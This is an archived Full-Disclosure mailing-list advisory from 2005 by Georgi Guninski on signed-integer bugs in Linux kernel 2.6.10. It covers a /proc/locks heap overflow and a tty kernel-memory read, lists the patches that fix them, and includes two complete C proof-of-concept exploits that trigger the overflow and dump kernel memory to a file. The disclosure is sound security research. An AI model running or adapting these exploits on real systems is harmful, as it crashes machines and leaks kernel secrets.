[Full-Disclosure] linux kernel 2.6 fun. windoze is a joke

From: Georgi Guninski (guninski_at_guninski.com)
Date: 02/15/05

  • Next message: Lentila de Vultur: "[Full-Disclosure] harddisk encryption"
    Date: Tue, 15 Feb 2005 13:15:27 +0200
    To: full-disclosure@lists.netsys.com
    
    

    Georgi Guninski security advisory #73, 2004

    linux kernel 2.6 fun. windoze is a joke

    Systems affected:
    linux kernel 2.6.10, probably earlier 2.6.
    2.4 not tested

    Date: 15 February 2005

    Legal Notice:
    This Advisory is Copyright (c) 2004 Georgi Guninski.
    You may not modify it and distribute it or distribute parts
    of it without the author's written permission - this especially applies to
    so called "vulnerabilities databases" and securityfocus, microsoft, cert
    and mitre.
    If you want to link to this content use the URL:
    http://www.guninski.com/where_do_you_want_billg_to_go_today_3.html
    Anything in this document may change without notice.

    Disclaimer:
    The information in this advisory is believed to be true though
    it may be false.
    The opinions expressed in this advisory and program are my own and
    not of any company. The usual standard disclaimer applies,
    especially the fact that Georgi Guninski is not liable for any damages
    caused by direct or indirect use of the information or functionality
    provided by this advisory or program. Georgi Guninski bears no
    responsibility for content or misuse of this advisory or program or
    any derivatives thereof.

    Description:

    There is misuse of signed types in 2.6, leading to buffer overflow and
    reading kernel memory.

    Details:

    WDYBTGT3-1:

    there is heap overflow in /proc in at least 2.6.10 and 2.6.11rc1-bk6 (
    have not tested 2.4) on i386.

    it is combination of:

    1.
    fs/proc/generic.c:63
    proc_file_read(struct file *file, char __user *buf, size_t nbytes,
                   loff_t *ppos)
            while ((nbytes > 0) && !eof) {
                    count = min_t(ssize_t, PROC_BLOCK_SIZE, nbytes);

    (ssize_t) cast is the bug.

    2.
    proc_misc:
    static int locks_read_proc(char *page, char **start, off_t off,
                                     int count, int *eof, void *data)
    {

    the problem is "off_t off" which on i386 is long, while llseek uses loff_t
    which is "long long".

    so it is possible to land in locks_read_proc with both "count" and "off"
    negative longs but with positive sum, which leads to overflow.

    WDYBTGT3-2:

    it is possible to read kernel memory on at least 2.6.10 and 2.6.11rc1 on
    i386.

    the problem is in drivers/char/n_tty.c

    -----------------------
    static inline int copy_from_read_buf(struct tty_struct *tty,
                                          unsigned char __user **b,
                                          size_t *nr)
    ssize_t n;

    n = min((ssize_t)*nr, n);
            ^^^^^^^^^
    spin_unlock_irqrestore(&tty->read_lock, flags);
    if (n) {
           mb();
            retval = copy_to_user(*b, &tty->read_buf[tty->read_tail], n);
                                                                     ^^^

    WDYBTGT3-3:

    have not been verified on real iron, but this codepath is suspicous:

    net/atm/resources.c
    int atm_dev_ioctl(unsigned int cmd, void __user *arg)
    {
            if (get_user(len, &sioc->length))
                    return -EFAULT;

            case ATM_GETADDR:
                            error = atm_get_addr(dev, buf, len);
                            if (error < 0)

    net/atm/addr.c
    int atm_get_addr(struct atm_dev *dev,struct sockaddr_atmsvc __user *buf,int
    size)
    {
            unsigned long flags;
            struct atm_dev_addr *walk;
            int total = 0, error;
          if (copy_to_user(buf, tmp_buf, total < size ? total : size))
                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    WDYBTGT3-4:
    have not been verified on real iron, but this codepath is suspicous:

    fs/reiserfs/file.c:622
    int reiserfs_copy_from_user_to_file_region(
    ...
    int count = min_t(int,PAGE_CACHE_SIZE-offset,write_bytes);
    page_fault = __copy_from_user(page_address(page)+offset, buf, count);

    [dangerous only if sizeof(size_t) > sizeof(int) ]

    WDYBTGT3-5:

    Fix:

    2.6.11-rc4 availabe at http://www.kernel.org/ fixes the "anomalies" and in
    addition adds some checks at the vfs layer and copy_from_user.

    Individual patches:

    http://linux.bkbits.net:8080/linux-2.6/cset@4201818eC6aMn0x3GY_9rw3ueb2ZWQ?nav=index.html|ChangeSet@-4w
    http://linux.bkbits.net:8080/linux-2.6/cset@420181322LZmhPTewcCOLkubGwOL3w?nav=index.html|ChangeSet@-4w
    http://linux.bkbits.net:8080/linux-2.6/cset@4208e1fcfccuD-eH2OGM5mBhihmQ3A?nav=index.html|ChangeSet@-4w
    http://linux.bkbits.net:8080/linux-2.6/cset@42018227TkNpHlX6BefnItV_GqMmzQ?nav=index.html|ChangeSet@-4w

    proggies:

    /*
     * copyright georgi guninski
     * cannot be used in vulnerability databases like securityfocus and mitre
     *
     * */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/file.h>
    #include <syscall.h>
    #include <errno.h>

    _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
           uint, wh)

    void makefiles()
    {
            int cou,fv;
            char vn[242];
            for(cou=0;cou<920;cou++)
            {
                    snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
                    fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
                    if (fv <0) perror("open2");
                    if (flock(fv,LOCK_EX) == -1) perror("flock");
                    
            }
            while(42);
    }

    int main(int ac, char **av)
    {
            int fd,fv,i,cou;
            void *mv;
            char *he,*he2;
            loff_t lr;
            char c;
            

            printf("\n\nThis may seriously screw your box\n\n");
            printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
            printf("Press 'Y' to run it\n");
            read(0,&c,1);
            if (c != 'Y') return 42;
            cou=5;
            printf("creating files...\n");
            while(cou--)
                    if (!fork())
                            makefiles();

            sleep(20);
            printf("starting...\n");
            system("sync");
            fd=open("/proc/locks",O_RDONLY);
            if (fd <0) perror("open");
            he=malloc(1024*1024*8);
            he2=malloc(1024*1024*8);
            
            
            if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
            i=read(fd,he2, 0x80004242);
            perror("read");
            printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
            while(42);
            return 42;
    }

    ================================================

    /*
     * Copyright Georgi Guninski
     * Cannot be used in vulnerability databases like security focus and mitre
     * */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <linux/vt.h>
    #include <sys/vt.h>
    #include <sys/ioctl.h>
    #include <string.h>
    #include <unistd.h>
    #include <term.h>
    #include <sys/mman.h>

    int main(int ac, char **av)
    {
    int fd,fv;
    int cou=4242,i;
    char *bu;
    struct termios ti;
    struct termios ol;
    char zer[1024];

    fd=open("/dev/tty",O_RDWR);
    if (fd<0) {perror("open");return -42;}
    memset(&ti,0,sizeof(ti));
    fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
    if (fv <0 ) perror("open2");

    /* how much to read in kilobytes*/
    i=40*1024;

    memset(zer,0,sizeof(zer));
    while(i--) write(fv,zer,sizeof(zer));

    bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0);
    if (-1 == (long) bu) perror("mmap");
    printf("bu=%x\n",(int)bu);
    if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
    ol=ti;
    ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
    if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
    if (!fork())
            {sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
    sleep(2);
    cou=read(fd,bu,0x80000000);
    printf("read=%d\n",cou);
    perror("read");

    if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
    printf("done. check 'kmem1'");
    system("reset");
    return 42;
    }

    -- 
    And did you exchange a walk on part in the war for a lead role in a cage?
     // pink floyd
    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html
    

  • Next message: Lentila de Vultur: "[Full-Disclosure] harddisk encryption"